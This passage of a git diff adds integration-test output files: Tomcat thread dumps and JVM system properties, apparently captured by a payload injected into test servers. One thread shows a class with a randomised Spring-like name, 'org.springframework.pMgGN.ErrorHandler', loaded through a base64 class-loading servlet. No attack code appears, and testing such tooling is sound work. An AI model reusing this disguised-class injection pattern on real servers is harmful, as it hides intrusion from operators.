org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"ajp-apr-8009-exec-10" #39 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68405782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-exec-6" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2ed92f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"ajp-apr-8009-exec-3" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68405782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"ajp-apr-8009-Poller" #40 daemon [TIMED_WAITING] on org.apache.tomcat.util.net.AprEndpoint$Poller@36095f98 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.apache.tomcat.util.net.AprEndpoint$Poller.run(AprEndpoint.java:1775) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-Sendfile" #27 daemon [WAITING] on org.apache.tomcat.util.net.AprEndpoint$Sendfile@21630fdf + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at org.apache.tomcat.util.net.AprEndpoint$Sendfile.run(AprEndpoint.java:2289) + at java.lang.Thread.run(Thread.java:748) + +"localhost-startStop-1" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6ea70a98 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2082) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-exec-4" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2ed92f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"ajp-apr-8009-exec-4" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68405782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-exec-1" #16 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2ed92f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@18a8b9e9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:135) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:209) + +"ajp-apr-8009-exec-9" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68405782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"ajp-apr-8009-Acceptor-0" #41 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at org.apache.tomcat.jni.Socket.accept(Native Method) + at org.apache.tomcat.util.net.AprEndpoint$Acceptor.run(AprEndpoint.java:1086) + at java.lang.Thread.run(Thread.java:748) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:398) + at java.net.ServerSocket.implAccept(ServerSocket.java:530) + at java.net.ServerSocket.accept(ServerSocket.java:498) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:470) + at org.apache.catalina.startup.Catalina.await(Catalina.java:793) + at org.apache.catalina.startup.Catalina.start(Catalina.java:739) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:606) + at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:294) + at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:428) + +"http-apr-8080-exec-2" #17 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2ed92f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"ajp-apr-8009-exec-1" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68405782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-exec-10" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2ed92f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"ajp-apr-8009-AsyncTimeout" #42 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.tomcat.util.net.AprEndpoint$AsyncTimeout.run(AprEndpoint.java:1160) + at java.lang.Thread.run(Thread.java:748) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@6d457ca4 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:133) + +"ajp-apr-8009-exec-6" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68405782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #15 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1638) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-Poller" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at org.apache.tomcat.jni.Poll.poll(Native Method) + at org.apache.tomcat.util.net.AprEndpoint$Poller.run(AprEndpoint.java:1880) + at java.lang.Thread.run(Thread.java:748) + +"ajp-apr-8009-exec-7" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68405782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-exec-7" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1643) + at org.springframework.pMgGN.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2849) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:248) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:303) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:219) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103) + at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:962) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:445) + at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1115) + at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:637) + at org.apache.tomcat.util.net.AprEndpoint$SocketWithOptionsProcessor.run(AprEndpoint.java:2492) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + +"http-apr-8080-exec-3" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3a2ed92f + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:104) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1075) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1137) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:748) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.startup.Catalina +org.apache.catalina.valves.AccessLogValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.AbstractProtocol$AbstractConnectionHandler +org.apache.coyote.http11.AbstractHttp11Processor +org.apache.tomcat.jni.Poll +org.apache.tomcat.jni.Socket +org.apache.tomcat.util.net.AprEndpoint$Acceptor +org.apache.tomcat.util.net.AprEndpoint$AsyncTimeout +org.apache.tomcat.util.net.AprEndpoint$Poller +org.apache.tomcat.util.net.AprEndpoint$Sendfile +org.apache.tomcat.util.net.AprEndpoint$SocketWithOptionsProcessor +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.websocket.server.WsFilter +org.springframework.pMgGN.ErrorHandler diff --git a/integration-test/src/test/resources/infos/Tomcat8ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Tomcat8ContainerTestBasicInfo.txt new file mode 100644 index 00000000..7c814eee --- /dev/null +++ b/integration-test/src/test/resources/infos/Tomcat8ContainerTestBasicInfo.txt @@ -0,0 +1,379 @@ +# Generated At 2025-08-10 15:00:51 +SystemProps: +java.vendor: Temurin +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/tomcat +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +catalina.useNaming: true +os.name: Linux +sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes +java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties +org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false +java.vm.specification.vendor: Oracle Corporation +java.runtime.version: 1.8.0_402-b06 +user.name: root +tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-web*.jar,log4javascript*.jar,slf4j-taglib*.jar +shared.loader: +tomcat.util.buf.StringCache.byte.enabled: true +java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory +user.language: en +sun.boot.library.path: /opt/java/openjdk/lib/aarch64 +jdk.tls.ephemeralDHKeySize: 2048 +java.version: 1.8.0_402 +java.util.logging.manager: org.apache.juli.ClassLoaderLogManager +user.timezone: Etc/UTC +sun.arch.data.model: 64 +java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory +java.endorsed.dirs: /opt/java/openjdk/lib/endorsed +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat. +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +user.country: US +java.home: /opt/java/openjdk +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +path.separator: : +java.vm.version: 25.402-b06 +java.protocol.handler.pkgs: org.apache.catalina.webresources +java.awt.printerjob: sun.print.PSPrinterJob +sun.io.unicode.encoding: UnicodeLittle +java.specification.maintenance.version: 5 +awt.toolkit: sun.awt.X11.XToolkit +package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat. +java.naming.factory.url.pkgs: org.apache.naming +user.home: /root +org.apache.catalina.security.SecurityListener.UMASK: 0027 +java.specification.vendor: Oracle Corporation +tomcat.util.scan.StandardJarScanFilter.jarsToSkip: annotations-api.jar,ant-junit*.jar,ant-launcher*.jar,ant*.jar,asm-*.jar,aspectj*.jar,bcel*.jar,biz.aQute.bnd*.jar,bootstrap.jar,catalina-ant.jar,catalina-ha.jar,catalina-storeconfig.jar,catalina-tribes.jar,catalina-ws.jar,catalina.jar,cglib-*.jar,cobertura-*.jar,commons-beanutils*.jar,commons-codec*.jar,commons-collections*.jar,commons-compress*.jar,commons-daemon.jar,commons-dbcp*.jar,commons-digester*.jar,commons-fileupload*.jar,commons-httpclient*.jar,commons-io*.jar,commons-lang*.jar,commons-logging*.jar,commons-math*.jar,commons-pool*.jar,derby-*.jar,dom4j-*.jar,easymock-*.jar,ecj-*.jar,el-api.jar,geronimo-spec-jaxrpc*.jar,h2*.jar,ha-api-*.jar,hamcrest-*.jar,hibernate*.jar,httpclient*.jar,icu4j-*.jar,jasper-el.jar,jasper.jar,jaspic-api.jar,jaxb-*.jar,jaxen-*.jar,jaxws-rt-*.jar,jdom-*.jar,jetty-*.jar,jmx-tools.jar,jmx.jar,jsp-api.jar,jstl.jar,jta*.jar,junit-*.jar,junit.jar,log4j*.jar,mail*.jar,objenesis-*.jar,oraclepki.jar,org.hamcrest.core_*.jar,org.junit_*.jar,oro-*.jar,servlet-api-*.jar,servlet-api.jar,slf4j*.jar,taglibs-standard-spec-*.jar,tagsoup-*.jar,tomcat-api.jar,tomcat-coyote.jar,tomcat-dbcp.jar,tomcat-i18n-*.jar,tomcat-jdbc.jar,tomcat-jni.jar,tomcat-juli-adapters.jar,tomcat-juli.jar,tomcat-util-scan.jar,tomcat-util.jar,tomcat-websocket.jar,tools.jar,unboundid-ldapsdk-*.jar,websocket-api.jar,wsdl4j*.jar,xercesImpl.jar,xml-apis.jar,xmlParserAPIs-*.jar,xmlParserAPIs.jar,xom-*.jar +java.library.path: /usr/local/tomcat/native-jni-lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: https://adoptium.net/ +java.vm.vendor: Temurin +common.loader: "${catalina.base}/lib","${catalina.base}/lib/*.jar","${catalina.home}/lib","${catalina.home}/lib/*.jar" +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: org.apache.catalina.startup.Bootstrap start +java.class.path: /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar +java.vm.specification.name: Java Virtual Machine Specification +java.vm.specification.version: 1.8 +catalina.home: /usr/local/tomcat +sun.cpu.endian: little +sun.os.patch.level: unknown +java.io.tmpdir: /usr/local/tomcat/temp +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +server.loader: +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /opt/java/openjdk/lib/ext:/usr/java/packages/lib/ext +user.dir: /usr/local/tomcat +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +ignore.endorsed.dirs: +file.encoding: UTF-8 +java.specification.version: 1.8 + +=========================================== + +ThreadStacks: +"GC Daemon" #13 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@70958f06 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-5" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e527f64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:141) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:33) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1114) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63) + at java.lang.Thread.run(Thread.java:750) + +"AsyncFileHandlerWriter-1" #12 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7a6de476 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:492) + at java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:680) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@3f6f755f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at 